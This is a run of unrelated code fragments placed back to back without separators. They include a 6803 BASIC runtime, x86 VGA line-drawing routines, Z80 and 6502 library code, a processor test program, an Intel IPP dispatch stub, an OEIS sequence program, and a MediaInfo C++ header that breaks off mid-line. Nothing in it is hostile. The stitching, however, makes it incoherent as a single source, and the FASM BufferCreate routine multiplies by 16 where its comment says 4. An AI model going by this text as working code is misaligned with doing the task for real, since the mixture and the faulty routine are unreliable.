_nxtfor sts tmp2 ldd tmp2 subd tmp3 std tmp2 lds tmp2 tsx ldab tmp3+1 stab 0,x ldd letptr std 1,x _oldfor ldd nxtinst std 3,x ldab r1 stab 5,x ldd r1+1 std 6,x ldd r1+3 std 8,x ldab tmp3+1 cmpb #15 beq _flt inca staa 10,x bra _done _flt ldd #0 std 10,x std 13,x inca staa 12,x _done ldx tmp1 jmp ,x .module mdx2arg ; copy [X] to argv ; ENTRY Y in 0,x 1,x 2,x 3,x 4,x ; EXIT Y copied to 0+argv, 1+argv, 2+argv, 3+argv, 4+argv ; copy x to argv x2arg ldab 0,x stab 0+argv ldd 1,x std 1+argv ldd 3,x std 3+argv rts add_fr1_fr1_fr2 ; numCalls = 1 .module modadd_fr1_fr1_fr2 jsr noargs ldd r1+3 addd r2+3 std r1+3 ldd r1+1 adcb r2+2 adca r2+1 std r1+1 ldab r1 adcb r2 stab r1 rts add_fr1_fr1_pb ; numCalls = 3 .module modadd_fr1_fr1_pb jsr getbyte clra addd r1+1 std r1+1 ldab #0 adcb r1 stab r1 rts add_fr1_ir1_fx ; numCalls = 1 .module modadd_fr1_ir1_fx jsr extend ldd 3,x std r1+3 ldd r1+1 addd 1,x std r1+1 ldab r1 adcb 0,x stab r1 rts add_fr2_fr2_pb ; numCalls = 2 .module modadd_fr2_fr2_pb jsr getbyte clra addd r2+1 std r2+1 ldab #0 adcb r2 stab r2 rts add_fx_fx_fr1 ; numCalls = 1 .module modadd_fx_fx_fr1 jsr extend ldd 3,x addd r1+3 std 3,x ldd 1,x adcb r1+2 adca r1+1 std 1,x ldab 0,x adcb r1 stab 0,x rts add_fx_fx_ir1 ; numCalls = 1 .module modadd_fx_fx_ir1 jsr extend ldd 1,x addd r1+1 std 1,x ldab 0,x adcb r1 stab 0,x rts add_ir1_ir1_ix ; numCalls = 4 .module modadd_ir1_ir1_ix jsr extend ldd r1+1 addd 1,x std r1+1 ldab r1 adcb 0,x stab r1 rts add_ir1_ir1_pb ; numCalls = 1 .module modadd_ir1_ir1_pb jsr getbyte clra addd r1+1 std r1+1 ldab #0 adcb r1 stab r1 rts add_ir2_ir2_ix ; numCalls = 4 .module modadd_ir2_ir2_ix jsr extend ldd r2+1 addd 1,x std r2+1 ldab r2 adcb 0,x stab r2 rts add_ix_ix_pb ; numCalls = 1 .module modadd_ix_ix_pb jsr extbyte clra addd 1,x std 1,x ldab #0 adcb 0,x stab 0,x rts clear ; numCalls = 1 .module modclear jsr noargs clra ldx #bss bra _start _again staa ,x inx _start cpx #bes bne _again stx strbuf stx strend inx inx stx strfree ldx #$8FFF stx strstop ldx #startdata stx dataptr rts clsn_pb ; numCalls = 3 .module modclsn_pb jsr getbyte jmp R_CLSN cos_fr1_fr1 ; numCalls = 1 .module modcos_fr1_fr1 jsr noargs ldx #r1 jmp cos for_ix_pb ; numCalls = 2 .module modfor_ix_pb jsr extbyte stx letptr clra staa 0,x std 1,x rts gosub_ix ; numCalls = 1 .module modgosub_ix pulx jsr getaddr ldd nxtinst pshb psha ldab #3 pshb stx nxtinst jmp mainloop jmpeq_ir1_ix ; numCalls = 1 .module modjmpeq_ir1_ix jsr getaddr ldd r1+1 bne _rts ldaa r1 bne _rts stx nxtinst _rts rts jmpne_ir1_ix ; numCalls = 1 .module modjmpne_ir1_ix jsr getaddr ldd r1+1 bne _go ldaa r1 beq _rts _go stx nxtinst _rts rts ld_fr1_fx ; numCalls = 11 .module modld_fr1_fx jsr extend ldd 3,x std r1+3 ldd 1,x std r1+1 ldab 0,x stab r1 rts ld_fr2_fx ; numCalls = 2 .module modld_fr2_fx jsr extend ldd 3,x std r2+3 ldd 1,x std r2+1 ldab 0,x stab r2 rts ld_fx_fr1 ; numCalls = 11 .module modld_fx_fr1 jsr extend ldd r1+3 std 3,x ldd r1+1 std 1,x ldab r1 stab 0,x rts ld_fx_ir1 ; numCalls = 1 .module modld_fx_ir1 jsr extend ldd #0 std 3,x ldd r1+1 std 1,x ldab r1 stab 0,x rts ld_ir1_ix ; numCalls = 4 .module modld_ir1_ix jsr extend ldd 1,x std r1+1 ldab 0,x stab r1 rts ld_ir1_pb ; numCalls = 12 .module modld_ir1_pb jsr getbyte stab r1+2 ldd #0 std r1 rts ld_ir2_ix ; numCalls = 1 .module modld_ir2_ix jsr extend ldd 1,x std r2+1 ldab 0,x stab r2 rts ld_ir2_pb ; numCalls = 10 .module modld_ir2_pb jsr getbyte stab r2+2 ldd #0 std r2 rts ld_ix_ir1 ; numCalls = 1 .module modld_ix_ir1 jsr extend ldd r1+1 std 1,x ldab r1 stab 0,x rts ld_ix_pb ; numCalls = 2 .module modld_ix_pb jsr extbyte stab 2,x ldd #0 std 0,x rts ldge_ir1_ir1_ix ; numCalls = 1 .module modldge_ir1_ir1_ix jsr extend ldd r1+1 subd 1,x ldab r1 sbcb 0,x jsr getge std r1+1 stab r1 rts ldlt_ir1_ir1_fx ; numCalls = 1 .module modldlt_ir1_ir1_fx jsr extend ldd #0 subd 3,x ldd r1+1 sbcb 2,x sbca 1,x ldab r1 sbcb 0,x jsr getlt std r1+1 stab r1 rts mul_fr1_fr1_fx ; numCalls = 2 .module modmul_fr1_fr1_fx jsr extend ldab 0,x stab 0+argv ldd 1,x std 1+argv ldd 3,x std 3+argv ldx #r1 jmp mulfltx mul_fr1_ir1_fx ; numCalls = 2 .module modmul_fr1_ir1_fx jsr extend ldab 0,x stab 0+argv ldd 1,x std 1+argv ldd 3,x std 3+argv ldd #0 std r1+3 ldx #r1 jmp mulfltx mul_fr2_fr2_fx ; numCalls = 2 .module modmul_fr2_fr2_fx jsr extend ldab 0,x stab 0+argv ldd 1,x std 1+argv ldd 3,x std 3+argv ldx #r2 jmp mulfltx mul_fr2_ir2_fx ; numCalls = 2 .module modmul_fr2_ir2_fx jsr extend ldab 0,x stab 0+argv ldd 1,x std 1+argv ldd 3,x std 3+argv ldd #0 std r2+3 ldx #r2 jmp mulfltx next ; numCalls = 2 .module modnext jsr noargs pulx tsx ldab ,x cmpb #3 bhi _ok ldab #NF_ERROR jmp error _ok cmpb #11 bne _flt ldd 9,x std r1+1 ldab 8,x stab r1 ldx 1,x ldd r1+1 addd 1,x std r1+1 std 1,x ldab r1 adcb ,x stab r1 stab ,x tsx tst 8,x bpl _iopp ldd r1+1 subd 6,x ldab r1 sbcb 5,x blt _idone ldx 3,x stx nxtinst jmp mainloop _iopp ldd 6,x subd r1+1 ldab 5,x sbcb r1 blt _idone ldx 3,x stx nxtinst jmp mainloop _idone ldab #11 bra _done _flt ldd 13,x std r1+3 ldd 11,x std r1+1 ldab 10,x stab r1 ldx 1,x ldd r1+3 addd 3,x std r1+3 std 3,x ldd 1,x adcb r1+2 adca r1+1 std r1+1 std 1,x ldab r1 adcb ,x stab r1 stab ,x tsx tst 10,x bpl _fopp ldd r1+3 subd 8,x ldd r1+1 sbcb 7,x sbca 6,x ldab r1 sbcb 5,x blt _fdone ldx 3,x stx nxtinst jmp mainloop _fopp ldd 8,x subd r1+3 ldd 6,x sbcb r1+2 sbca r1+1 ldab 5,x sbcb r1 blt _fdone ldx 3,x stx nxtinst jmp mainloop _fdone ldab #15 _done abx txs jmp mainloop nextvar_ix ; numCalls = 2 .module modnextvar_ix jsr extend stx letptr pulx tsx clrb _nxtvar abx ldd 1,x subd letptr beq _ok ldab ,x cmpb #3 bhi _nxtvar _ok txs jmp mainloop progbegin ; numCalls = 1 .module modprogbegin jsr noargs ldx R_MCXID cpx #'h'*256+'C' bne _mcbasic pulx clrb pshb pshb pshb stab strtcnt jmp ,x _reqmsg .text "?MICROCOLOR BASIC ROM REQUIRED" _mcbasic ldx #_reqmsg ldab #30 jsr print pulx rts progend ; numCalls = 2 .module modprogend jsr noargs pulx pula pula pula jsr R_RESET jmp R_DMODE NF_ERROR .equ 0 RG_ERROR .equ 4 OD_ERROR .equ 6 FC_ERROR .equ 8 OV_ERROR .equ 10 OM_ERROR .equ 12 BS_ERROR .equ 16 DD_ERROR .equ 18 LS_ERROR .equ 28 error jmp R_ERROR return ; numCalls = 1 .module modreturn pulx tsx clrb _nxt abx ldab ,x bne _ok ldab #RG_ERROR jmp error _ok cmpb #3 bne _nxt inx txs pulx stx nxtinst jmp mainloop setc_ir1_ir2_pb ; numCalls = 10 .module modsetc_ir1_ir2_pb jsr getbyte pshb ldaa r2+2 ldab r1+2 jsr getxym pulb jmp setc shift_ir1_ir1_pb ; numCalls = 2 .module modshift_ir1_ir1_pb jsr getbyte ldx #r1 jmp shlint shift_ir2_ir2_pb ; numCalls = 1 .module modshift_ir2_ir2_pb jsr getbyte ldx #r2 jmp shlint sin_fr1_fr1 ; numCalls = 1 .module modsin_fr1_fr1 jsr noargs ldx #r1 jmp sin sub_fr1_fr1_fr2 ; numCalls = 1 .module modsub_fr1_fr1_fr2 jsr noargs ldd r1+3 subd r2+3 std r1+3 ldd r1+1 sbcb r2+2 sbca r2+1 std r1+1 ldab r1 sbcb r2 stab r1 rts sub_ir1_ir1_ir2 ; numCalls = 1 .module modsub_ir1_ir1_ir2 jsr noargs ldd r1+1 subd r2+1 std r1+1 ldab r1 sbcb r2 stab r1 rts sub_ir1_ir1_ix ; numCalls = 5 .module modsub_ir1_ir1_ix jsr extend ldd r1+1 subd 1,x std r1+1 ldab r1 sbcb 0,x stab r1 rts sub_ir2_ir2_ix ; numCalls = 4 .module modsub_ir2_ir2_ix jsr extend ldd r2+1 subd 1,x std r2+1 ldab r2 sbcb 0,x stab r2 rts sub_ix_ix_pb ; numCalls = 1 .module modsub_ix_ix_pb jsr extbyte stab tmp1 ldd 1,x subb tmp1 sbca #0 std 1,x ldab 0,x sbcb #0 stab 0,x rts to_ip_pb ; numCalls = 2 .module modto_ip_pb jsr getbyte stab r1+2 ldd #0 std r1 std r1+3 ldab #11 jmp to ; data table startdata enddata ; Bytecode symbol lookup table bytecode_FLT_0p03999 .equ 0 bytecode_FLT_0p99920 .equ 1 bytecode_INTVAR_LO .equ 2 bytecode_INTVAR_R .equ 3 bytecode_INTVAR_X .equ 4 bytecode_INTVAR_Y .equ 5 bytecode_FLTVAR_A .equ 6 bytecode_FLTVAR_B .equ 7 bytecode_FLTVAR_C .equ 8 bytecode_FLTVAR_DC .equ 9 bytecode_FLTVAR_DS .equ 10 bytecode_FLTVAR_S .equ 11 bytecode_FLTVAR_ST .equ 12 symtbl .word FLT_0p03999 .word FLT_0p99920 .word INTVAR_LO .word INTVAR_R .word INTVAR_X .word INTVAR_Y .word FLTVAR_A .word FLTVAR_B .word FLTVAR_C .word FLTVAR_DC .word FLTVAR_DS .word FLTVAR_S .word FLTVAR_ST ; fixed-point constants FLT_0p03999 .byte $00, $00, $00, $0a, $3d FLT_0p99920 .byte $00, $00, $00, $ff, $cc ; block started by symbol bss ; Numeric Variables INTVAR_LO .block 3 INTVAR_R .block 3 INTVAR_X .block 3 INTVAR_Y .block 3 FLTVAR_A .block 5 FLTVAR_B .block 5 FLTVAR_C .block 5 FLTVAR_DC .block 5 FLTVAR_DS .block 5 FLTVAR_S .block 5 FLTVAR_ST .block 5 ; String Variables ; Numeric Arrays ; String Arrays ; block ended by symbol bes .end
FREELINE equ 200 newgroup PROC NEAR ;hline list in gs:si push ds mov ax,SEG newdata mov ds,ax mov bx,gs:[si] add si,2 @@1: mov ax,gs:[si] add si,2 cmp ax,-32767 je @@2 mov dx,gs:[si] add si,2 cmp bx,7eh jne @@z @@z: push bx ;hline ax..dx,bx with gs:color cmp ax,dx jle @@3 xchg ax,dx @@3: push dx shl bx,1 mov dx,ds:[bx] mov bp,ds:[FREELINE*2] mov ds:[bx],bp mov ds:[FREELINE*2],dx mov bx,dx ;modify list bx=>bp (edx/hi=last color) ;copy blocks < hline start xor edx,edx @@b: mov ecx,ds:[bx] cmp cx,ax jae @@a ;[bx] bigger.. add bx,4 mov ds:[bp],ecx add bp,4 jmp @@b @@a: ;add hline start jne @@aa mov edx,ecx add bx,4 mov ecx,ds:[bx] @@aa: mov ds:[bp],ax mov ax,gs:color mov ah,al mov ds:[bp+2],ax add bp,4 ;copy blocks < hline end pop ax @@d: cmp cx,ax jae @@c add bx,4 mov edx,ecx mov ecx,ds:[bx] jmp @@d @@c: ;add hline end jne @@ca mov edx,ecx add bx,4 mov ecx,ds:[bx] @@ca: mov dx,ax mov ds:[bp],edx add bp,4 ;copy rest of the list @@f: cmp cx,32767 je @@e add bx,4 mov ds:[bp],ecx add bp,4 mov ecx,ds:[bx] jmp @@f @@e: ;last mov ds:[bp],ecx pop bx inc bx jmp @@1 @@2: pop ds ret newgroup ENDP grouppage dw 1024 PUBLIC _initnewgroup _initnewgroup PROC FAR CBEG mov ax,SEG newdata mov ds,ax mov dx,cs:grouppage xor dx,32768 mov cs:grouppage,dx mov cx,201 xor bx,bx @@2: mov ax,ds:[bx] mov ds:[bx],dx mov ds:[bx+256*2],ax add dx,128 add bx,2 loop @@2 mov cx,200 mov eax,32767 mov bx,cs:grouppage @@1: mov ds:[bx],eax add bx,128 loop @@1 CEND _initnewgroup ENDP ALIGN 2 dng_bgcolor dw 0 dng_rowbase dw 0 dng_random dw 0 PUBLIC _drawnewgroup _drawnewgroup PROC FAR CBEG LOADDS mov dx,3c4h mov ax,0f02h out dx,ax mov es,ds:vram mov ax,SEG newdata mov gs,ax mov cx,200 xor bx,bx xor di,di @@3: push cx push di push bx shl bx,1 mov si,gs:[bx] mov di,gs:[bx+512] ;last time row (for sorting out differences) mov bp,32768 ;si=thistime ;di=lasttime ;dl=thiscolor ;dh=lastcolor ;cx=thisX ;bx=lastX ;ax=X ;bp=tmpdest mov dx,cs:dng_bgcolor mov dh,dl xor ax,ax mov cx,gs:[si] mov bx,gs:[di] @@1: cmp bx,cx je @@10 jl @@2 ;cx..bx cmp dl,dh je @@5 ;ax..cx color dl mov gs:[bp],ax mov gs:[bp+2],cx mov gs:[bp+4],dx add bp,6 @@5: mov ax,cx mov dl,gs:[si+2] add si,4 mov cx,gs:[si] jmp @@1 @@10: ;bx=cx cmp bx,32767 je @@7 cmp dl,dh je @@11 ;ax..bx color dl mov gs:[bp],ax mov gs:[bp+2],bx mov gs:[bp+4],dx add bp,6 @@11: mov ax,bx mov dh,gs:[di+2] add di,4 mov bx,gs:[di] mov dl,gs:[si+2] add si,4 mov cx,gs:[si] jmp @@1 @@2: ;bx..cx cmp dl,dh je @@4 ;ax..bx color dl mov gs:[bp],ax mov gs:[bp+2],bx mov gs:[bp+4],dx add bp,6 @@4: mov ax,bx mov dh,gs:[di+2] add di,4 mov bx,gs:[di] jmp @@1 @@7: pop bx pop di ;this line data in 8000h..bp mov si,32768 cmp si,bp je @@8 @@6: push di push bx push bp mov ch,gs:[si+4] mov ds:color,ax mov bx,gs:[si] mov dx,gs:[si+2] ; mov cl,bl and cl,3 mov al,00fh rol al,cl mov cl,dl and cl,3 mov ah,0f0h rol ah,cl shr bx,2 shr dx,2 cmp bx,dx jne @@h1 and al,ah mov dx,3c5h out dx,al mov es:[di+bx],ch jmp @@h0 @@h1: inc bx cmp bx,dx jne @@h2 mov dx,3c5h out dx,al mov es:[di+bx-1],ch mov al,ah out dx,al mov es:[di+bx],ch jmp @@h0 @@h2: mov cl,dl sub cl,bl add di,bx mov dx,3c5h out dx,al mov es:[di-1],ch mov al,0fh out dx,al mov al,ch xor ch,ch rep stosb xchg al,ah out dx,al mov es:[di],ah @@h0: ; pop bp pop bx pop di add si,6 cmp si,bp jb @@6 @@8: pop cx add di,80 inc bx loop @@3 CEND _drawnewgroup ENDP
; void wpoke_callee(void *addr, uint word) ; 11.2006 aralbrec SECTION code_clib PUBLIC wpoke_callee PUBLIC _wpoke_callee PUBLIC ASMDISP_WPOKE_CALLEE .wpoke_callee ._wpoke_callee pop hl pop de ex (sp),hl .asmentry ld (hl),e inc hl ld (hl),d ret DEFC ASMDISP_WPOKE_CALLEE = asmentry - wpoke_callee
;;; ; Creates a new pixel colour buffer of the specified width and height ; You must free() the memory when you dont use the buffer anymore ; ; params: ; width - The width of the buffer ; height - The height of the buffer ; ; returns: (QWORD) A pointer to the created buffer ;;; proc BufferCreate, width:DWORD, height:DWORD ; eax := width * height * 4 mov eax, ecx mul edx shl eax, 4 invoke malloc, eax cmp eax, 0 je .error ret .error: invoke MessageBox,NULL,_gr_str_error,NULL,MB_ICONERROR+MB_OK ret endp
; 6502 - Tilemap ; ; Copyright (c) 2021 Troy Schrapel ; ; This code is licensed under the MIT license ; ; https://github.com/visrealm/hbc-56 ; ; ; Tilemap structure ; --------------------- ; BufferAddressH (Page-aligned buffer - MSB) ; Size ; TilesetAddressH (Page-aligned tilset - MSB) ; InvertAddressH (Page-aligned invert flags - MSB) (optional) ; DirtyAddressH (Page-aligned dirty flags - MSB) (optional) !src "gfx/tilemap.inc" HAVE_TILEMAP = 1 !ifndef TILEMAP_ZP_START { TILEMAP_ZP_START = $f0 !warn "TILEMAP_ZP_START not provided. Defaulting to ", TILEMAP_ZP_START } !ifndef TILEMAP_RAM_START { TILEMAP_RAM_START = $7d00 !warn "TILEMAP_RAM_START not provided. Defaulting to ", TILEMAP_RAM_START } !if (TILEMAP_RAM_START & $ff) != 0 { !error "TILEMAP_RAM_START must be on a page boundary" } ; ------------------------- ; Tilemap structure ; ------------------------- TILEMAP_BUFFER_ADDR = 0 ; High byte of page-aligned buffer TILEMAP_SIZE = 1 ; Size flags TILEMAP_TILES_ADDR = 2 TILEMAP_INVERT_ADDR = 3 ; High byte of tilemap TILEMAP_DIRTY_ADDR = 4 TILEMAP_WIDTH_TILES = 5 TILEMAP_HEIGHT_TILES = 6 TILEMAP_TILE_SIZE_PX = 7 TILEMAP_STRUCTURE_SIZE = TILEMAP_TILE_SIZE_PX ; ------------------------- ; Zero page ; ------------------------- TILEMAP_ADDR = TILEMAP_ZP_START TILEMAP_TMP_BUFFER_ADDR = TILEMAP_ZP_START + 2 TILEMAP_TMP_TILES_ADDR = TILEMAP_ZP_START + 4 TILEMAP_ZP_SIZE = 6 ; ----------------------------------------------------------------------------- ; High RAM ; ----------------------------------------------------------------------------- TILEMAP_DEFAULT_BUFFER_ADDRESS = TILEMAP_RAM_START TILEMAP_TMP_BUF_ROW = TILEMAP_RAM_START + $80 TILEMAP_TMP_BUF_COL = TILEMAP_RAM_START + $81 TILEMAP_TMP_TILE_ROW = TILEMAP_RAM_START + $82 TILEMAP_TMP_OUTPUT_ROW = TILEMAP_RAM_START + $83 TILEMAP_TMP_1 = TILEMAP_RAM_START + $84 TILEMAP_TMP_2 = TILEMAP_RAM_START + $85 TILEMAP_TMP_TILES_W = TILEMAP_RAM_START + $86 TILEMAP_TMP_TILES_H = TILEMAP_RAM_START + $87 TILEMAP_TMP_TILE_SIZE = TILEMAP_RAM_START + $88 TILEMAP_FIXED_ADDRESS = TILEMAP_RAM_START + $100 TILEMAP_RAM_SIZE = TILEMAP_RAM_START - (TILEMAP_FIXED_ADDRESS + TILEMAP_STRUCTURE_SIZE) !if TILEMAP_ZP_END < (TILEMAP_ZP_START + TILEMAP_ZP_SIZE) { !error "TILEMAP_ZP requires ",TILEMAP_ZP_SIZE," bytes. Allocated ",TILEMAP_ZP_END - TILEMAP_ZP_START } !if TILEMAP_RAM_END < (TILEMAP_RAM_START + TILEMAP_RAM_SIZE) { !error "TILEMAP_RAM requires ",TILEMAP_RAM_SIZE," bytes. Allocated ",TILEMAP_RAM_END - TILEMAP_RAM_START } ; ------------------------- ; Contants ; ------------------------- TILEMAP_SIZE_X_16 = %00000000 TILEMAP_SIZE_X_32 = %00000001 TILEMAP_SIZE_X_64 = %00000010 TILEMAP_SIZE_Y_8 = %00000000 TILEMAP_SIZE_Y_16 = %00000100 TILEMAP_SIZE_Y_32 = %00001000 TILE_SIZE = 8 ; size of each tile (in px) ; ----------------------------------------------------------------------------- ; tilemapInit: Initialise a tilemap ; ----------------------------------------------------------------------------- ; Inputs: ; TILEMAP_ADDR: Address of tilemap structure ; ----------------------------------------------------------------------------- tilemapInit: ldy #0 sty MEM_LEN sty MEM_LEN + 1 sty MEM_DST lda (TILEMAP_ADDR), y ; buffer address H sta MEM_DST + 1 sta TILEMAP_TMP_BUFFER_ADDR + 1 ldy #TILEMAP_SIZE @MIN_WIDTH=16 @MIN_HEIGHT=8 lda #@MIN_WIDTH ; minimum width sta TILEMAP_TMP_BUF_COL ; temporary storage for x tiles lda #@MIN_HEIGHT ; minimum height sta TILEMAP_TMP_BUF_ROW ; temporary storage for y tiles lda #0 sta MEM_LEN + 1 lda #(@MIN_WIDTH * @MIN_HEIGHT) ; base size (16 x 8) sta MEM_LEN ; size in bytes lda (TILEMAP_ADDR), y ; size flags sta TILEMAP_TMP_1 beq ++ ; check size flags, multiple size lda #TILEMAP_SIZE_X_32 | TILEMAP_SIZE_X_64 bit TILEMAP_TMP_1 beq + asl MEM_LEN rol MEM_LEN + 1 asl TILEMAP_TMP_BUF_COL lda #TILEMAP_SIZE_X_64 bit TILEMAP_TMP_1 beq + asl MEM_LEN rol MEM_LEN + 1 asl TILEMAP_TMP_BUF_COL + lda #TILEMAP_SIZE_Y_16 | TILEMAP_SIZE_Y_32 bit TILEMAP_TMP_1 beq ++ asl MEM_LEN rol MEM_LEN + 1 asl TILEMAP_TMP_BUF_ROW lda #TILEMAP_SIZE_Y_32 bit TILEMAP_TMP_1 beq ++ asl MEM_LEN rol MEM_LEN + 1 asl TILEMAP_TMP_BUF_ROW ++ ; MEM_DST and MEM_LEN are set. clear the buffer. lda #$00 jsr memsetMultiPage lda TILEMAP_TMP_BUF_COL ldy #TILEMAP_WIDTH_TILES sta (TILEMAP_ADDR), y lda TILEMAP_TMP_BUF_ROW ldy #TILEMAP_HEIGHT_TILES sta (TILEMAP_ADDR), y ; todo: invert & dirty jsr tilemapSetActive rts ; ----------------------------------------------------------------------------- ; tilemapSetActive: Set the current/active tilemap ; ----------------------------------------------------------------------------- ; Inputs: ; TILEMAP_ADDR: Address of tilemap structure ; ----------------------------------------------------------------------------- tilemapSetActive: ldy #TILEMAP_WIDTH_TILES lda (TILEMAP_ADDR), y sta TILEMAP_TMP_TILES_W ldy #TILEMAP_HEIGHT_TILES lda (TILEMAP_ADDR), y sta TILEMAP_TMP_TILES_H ldy #TILEMAP_TILE_SIZE_PX lda (TILEMAP_ADDR), y sta TILEMAP_TMP_TILE_SIZE rts !if LCD_GRAPHICS=1 { ; ----------------------------------------------------------------------------- ; tilemapRenderRowToLcd: Render a row of the current/active tilemap ; ----------------------------------------------------------------------------- ; Prerequisites: ; tilemapSetActive called for the tilemap ; Inputs: ; y: Row to render (0-7) ; ----------------------------------------------------------------------------- tilemapRenderRowToLcd: tya and #$07 sta TILEMAP_TMP_BUF_ROW sta TILEMAP_TMP_2 asl asl asl sta TILEMAP_TMP_OUTPUT_ROW inc TILEMAP_TMP_2 ; set the working tilemap buffer address ldy #TILEMAP_BUFFER_ADDR lda (TILEMAP_ADDR), y sta TILEMAP_TMP_BUFFER_ADDR + 1 ; reset temp variables to zero lda #0 sta TILEMAP_TMP_BUFFER_ADDR ; LSB sta TILEMAP_TMP_TILES_ADDR ; LSB sta TILEMAP_TMP_BUF_COL sta TILEMAP_TMP_TILE_ROW jmp .tilemapRenderFrom ; ----------------------------------------------------------------------------- ; tilemapRenderToLcd: Render the current/active tilemap ; ----------------------------------------------------------------------------- ; Prerequisites: ; tilemapSetActive called for the tilemap ; ----------------------------------------------------------------------------- tilemapRenderToLcd: lda TILEMAP_TMP_TILES_H sta TILEMAP_TMP_2 ; set the working tilemap buffer address ldy #TILEMAP_BUFFER_ADDR lda (TILEMAP_ADDR), y sta TILEMAP_TMP_BUFFER_ADDR + 1 ; reset temp variables to zero lda #0 sta TILEMAP_TMP_BUFFER_ADDR ; LSB sta TILEMAP_TMP_TILES_ADDR ; LSB sta TILEMAP_TMP_BUF_ROW sta TILEMAP_TMP_BUF_COL sta TILEMAP_TMP_TILE_ROW sta TILEMAP_TMP_OUTPUT_ROW .tilemapRenderFrom ldy TILEMAP_TMP_OUTPUT_ROW jsr lcdGraphicsSetRow ; iterate over the buffer rows and columns @renderRow ;!byte $db lda #0 sta TILEMAP_TMP_1 ; set the working tileset address ldy #TILEMAP_TILES_ADDR lda (TILEMAP_ADDR), y sta TILEMAP_TMP_TILES_ADDR + 1 ; get tile offset lda TILEMAP_TMP_BUF_ROW asl asl asl asl clc adc TILEMAP_TMP_BUF_COL tay ; load the tile index lda (TILEMAP_TMP_BUFFER_ADDR), y ; multiply by 8 to get an offset into the tileset buffer ; storing overflow in TILEMAP_TMP_1 asl rol TILEMAP_TMP_1 asl rol TILEMAP_TMP_1 asl rol TILEMAP_TMP_1 ; add the tile row offset (the row of the current tile) ; and set as y index ora TILEMAP_TMP_TILE_ROW tay ; load the overflow and add to the MSB of the tileset address lda TILEMAP_TMP_1 clc adc TILEMAP_TMP_TILES_ADDR + 1 sta TILEMAP_TMP_TILES_ADDR + 1 jsr lcdWait ; load the byte from the tile lda (TILEMAP_TMP_TILES_ADDR), y ; output the byte sta LCD_DATA ; increment column and check against # columns inc TILEMAP_TMP_BUF_COL lda TILEMAP_TMP_TILES_W cmp TILEMAP_TMP_BUF_COL bne @renderRow ; increment tile row (row within tile) and check against tile size lda #0 sta TILEMAP_TMP_BUF_COL inc TILEMAP_TMP_TILE_ROW inc TILEMAP_TMP_OUTPUT_ROW ldy TILEMAP_TMP_OUTPUT_ROW jsr lcdGraphicsSetRow lda TILEMAP_TMP_TILE_SIZE cmp TILEMAP_TMP_TILE_ROW bne @renderRow ; increment row and check against # rows lda #0 sta TILEMAP_TMP_TILE_ROW inc TILEMAP_TMP_BUF_ROW lda TILEMAP_TMP_2 cmp TILEMAP_TMP_BUF_ROW bne @renderRow rts }
// seed 3 lbi r0, 85 // icount 0 slbi r0, 236 // icount 1 lbi r1, 182 // icount 2 slbi r1, 127 // icount 3 lbi r2, 161 // icount 4 slbi r2, 48 // icount 5 lbi r3, 141 // icount 6 slbi r3, 180 // icount 7 lbi r4, 135 // icount 8 slbi r4, 83 // icount 9 lbi r5, 23 // icount 10 slbi r5, 163 // icount 11 lbi r6, 156 // icount 12 slbi r6, 186 // icount 13 lbi r7, 169 // icount 14 slbi r7, 25 // icount 15 andni r6, r3, 6 // icount 16 andni r6, r0, 9 // icount 17 andni r0, r2, 4 // icount 18 andni r0, r2, 13 // icount 19 andni r7, r7, 12 // icount 20 andni r6, r2, 9 // icount 21 andni r3, r6, 3 // icount 22 andni r2, r1, 7 // icount 23 andni r3, r5, 8 // icount 24 andni r5, r7, 15 // icount 25 andni r4, r0, 2 // icount 26 andni r2, r3, 15 // icount 27 andni r4, r3, 14 // icount 28 andni r5, r2, 11 // icount 29 andni r5, r5, 8 // icount 30 andni r3, r2, 11 // icount 31 halt // icount 32
extern m7_ippsGFpECBindGxyTblStd192r1:function extern n8_ippsGFpECBindGxyTblStd192r1:function extern y8_ippsGFpECBindGxyTblStd192r1:function extern e9_ippsGFpECBindGxyTblStd192r1:function extern l9_ippsGFpECBindGxyTblStd192r1:function extern n0_ippsGFpECBindGxyTblStd192r1:function extern k0_ippsGFpECBindGxyTblStd192r1:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsGFpECBindGxyTblStd192r1 .Larraddr_ippsGFpECBindGxyTblStd192r1: dq m7_ippsGFpECBindGxyTblStd192r1 dq n8_ippsGFpECBindGxyTblStd192r1 dq y8_ippsGFpECBindGxyTblStd192r1 dq e9_ippsGFpECBindGxyTblStd192r1 dq l9_ippsGFpECBindGxyTblStd192r1 dq n0_ippsGFpECBindGxyTblStd192r1 dq k0_ippsGFpECBindGxyTblStd192r1 segment .text global ippsGFpECBindGxyTblStd192r1:function (ippsGFpECBindGxyTblStd192r1.LEndippsGFpECBindGxyTblStd192r1 - ippsGFpECBindGxyTblStd192r1) .Lin_ippsGFpECBindGxyTblStd192r1: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsGFpECBindGxyTblStd192r1: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsGFpECBindGxyTblStd192r1] mov r11, qword [r11+rax*8] jmp r11 .LEndippsGFpECBindGxyTblStd192r1:
; A120571: 2n^4+6n^2+4 = 2(n^2+1)(n^2+2). ; 12,60,220,612,1404,2812,5100,8580,13612,20604,30012,42340,58140,78012,102604,132612,168780,211900,262812,322404,391612,471420,562860,667012,785004,918012,1067260,1234020,1419612,1625404,1852812,2103300,2378380,2679612,3008604,3367012,3756540,4178940,4636012,5129604,5661612,6233980,6848700,7507812,8213404,8967612,9772620,10630660,11544012,12515004,13546012,14639460,15797820,17023612,18319404,19687812,21131500,22653180,24255612,25941604,27714012,29575740,31529740,33579012,35726604,37975612,40329180,42790500,45362812,48049404,50853612,53778820,56828460,60006012,63315004,66759012,70341660,74066620,77937612,81958404,86132812,90464700,94957980,99616612,104444604,109446012,114624940,119985540,125532012,131268604,137199612,143329380,149662300,156202812,162955404,169924612,177115020,184531260,192178012,200060004 add $0,1 pow $0,2 add $0,2 bin $0,2 mul $0,4
/* Copyright (c) MediaArea.net SARL. All Rights Reserved. * * Use of this source code is governed by a BSD-style license that can * be found in the License.html file in the root of the source tree. */ //--------------------------------------------------------------------------- // Pre-compilation #include "MediaInfo/PreComp.h" #ifdef __BORLANDC__ #pragma hdrstop #endif //--------------------------------------------------------------------------- //--------------------------------------------------------------------------- #include "MediaInfo/Setup.h" //--------------------------------------------------------------------------- //*************************************************************************** // Infos (Global) //*************************************************************************** //--------------------------------------------------------------------------- #if defined(MEDIAINFO_MPEGV_YES) || defined(MEDIAINFO_MPEG4V_YES) || 